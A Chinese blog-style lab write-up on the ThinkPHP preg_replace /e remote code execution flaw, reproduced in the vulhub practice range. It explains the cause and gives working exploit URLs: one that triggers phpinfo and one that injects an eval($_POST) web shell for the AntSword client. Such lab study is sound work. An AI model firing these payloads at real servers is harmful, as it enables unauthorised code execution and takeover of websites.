小白飘过,跟随大佬脚步的一天[doge],具体实现过程是在靶场(vulhub)中进行的
目标:刷完vulhub靶场( 希望 有生之年)
———————————————————————————————————————
先决:vulhub靶场的配置
(1)安装doker以及dokcercompse
这里各位老师的博客很多,不在重复造轮子呃
只说需要注意的几点:
docker compose安装可以用pip安装比较方便。
(2)拉取vulhub的镜像
链接:https://github.com/vulhub/vulhub
不要用!不要用!git 克隆
慢的无法想象,说实在话。直接下载zip包,传进去即可
(3)解压vulhub后进入对应的靶场,并拉取镜像,启动doker
docker-compose up -d
_________________________________________________________________________
重点!!
造成漏洞的原因:
thinkphp中preg_replace(正则式子/e,执行代码,待匹配字符串)中的/e,参数导致代码执行
preg_replace(),导致远程代码执行。有大佬讲过基本原理,就不重复造轮子了(懒了.jpg):深入研究preg_replace \e模式下的代码执行_preg_replace /e_paidx0的博客-CSDN博客
文章内,基本讲了三个问题:
1.造成preg_replace() /e 远程代码 的基本原理
2. 正则匹配的规则
3.{{$phpinfo()}} :此种形式的函数为什么可以被解析(1. 最外层的花括号代表了其内是变量标识 2.内部的花括号与$组合代表了变量形式 )
重点:如果我们想要利用preg_replace函数实现代码执行,我们必须可以控制待匹配字符串的内容变为我们想要执行的代码。具体原理(前面的区域以后再来探索吧!),我们只需要记住由于thinkphp的MVC架构,所以我们请求的url会被preg_replace收入为待匹配字符串处。url则为我们可以控制的字符串
———————————————————————————————————————————
利用:
0.弹phpinfo界面看是否可以利用
http://your ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
此处可以为?s=/a/b/c/... , uri内只要有{${phpinfo()}}字段即可
蚁剑链接:
/index.php?s=a/b/c/{${print(eval($_POST[1]))}}
这里学到了!preg_repace /e的代码执行,可以用打印eval函数的形式,达到写入临时webshell可以被蚁剑链接。